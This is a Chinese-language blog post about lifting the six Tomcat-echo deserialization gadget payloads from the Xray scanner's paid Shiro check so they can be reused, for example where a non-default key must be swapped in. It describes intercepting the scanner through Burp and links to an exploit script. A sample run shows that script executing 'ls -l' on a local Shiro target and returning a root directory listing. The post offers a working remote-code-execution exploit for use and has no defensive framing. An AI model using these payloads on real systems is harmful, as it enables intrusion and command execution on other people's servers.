Shiro反序列化 Xray6个tomcat回显Gadget Payload提取

Xray新版本支持了shiro反序列化的检测,前提是拥有高级版License

对于shiro反序列化的检测首先会使用默认key尝试6个回显Gadget,然后尝试使用连平台,全部失败之后会尝试内置的100个key进行爆破

有价值的就是那6个支持tomcat全版本回显的Payload了

设置xray通过burp代理发送流量,然后修改配置文件中的http和tcp超时都为2秒

启动拦截器后放行第一个检测是否使用Shiro的请求之后开启拦截,等待扫描进程结束,可以在HTTP History中看到检测使用的Payload,多次拦截并按顺序Drop修改返回包头部包含检测的Testecho内容,就可以找到该payload对应的gadget

分别是CommonsCollections1 CommonsCollections2 CommonsBeanutils1 CommonsBeanutils2 Jdk7u21 Jdk8u20

获取到Payload之后解密然后base64保存,可以方便在没有使用默认key需要改key的情况中的使用

提取之后的Payload在下面的脚本里

https://github.com/Ares-X/shiro-exploit.git

使用效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
╭─[aresx@AresX-Mac]-[~/tools/shiro]  ‹master*›
╰─➤ python3 shiro.py echo CommonsCollections1 http://127.0.0.1:9080/login "ls -l"
Congratulation: exploit success

total 21836
drwxr-xr-x 1 root root 4096 Oct 21 2016 bin
drwxr-xr-x 2 root root 4096 Sep 12 2016 boot
drwxr-xr-x 5 root root 340 Jul 16 06:14 dev
drwxr-xr-x 1 root root 4096 Apr 19 17:37 etc
drwxr-xr-x 2 root root 4096 Sep 12 2016 home
drwxr-xr-x 1 root root 4096 Oct 31 2016 lib
drwxr-xr-x 2 root root 4096 Oct 20 2016 lib64
drwxr-xr-x 2 root root 4096 Oct 20 2016 media
drwxr-xr-x 2 root root 4096 Oct 20 2016 mnt
drwxr-xr-x 2 root root 4096 Oct 20 2016 opt
dr-xr-xr-x 167 root root 0 Jul 16 06:14 proc
drwx------ 1 root root 4096 Jul 22 09:53 root
drwxr-xr-x 3 root root 4096 Oct 20 2016 run
drwxr-xr-x 2 root root 4096 Oct 20 2016 sbin
-rw-r--r-- 1 root root 22290368 Dec 19 2019 shirodemo-1.0-SNAPSHOT.jar
drwxr-xr-x 2 root root 4096 Oct 20 2016 srv
dr-xr-xr-x 13 root root 0 Jul 21 16:04 sys
drwxrwxrwt 1 root root 4096 Jul 16 06:14 tmp
drwxr-xr-x 1 root root 4096 Oct 31 2016 usr
drwxr-xr-x 1 root root 4096 Oct 31 2016 var
⬆︎TOP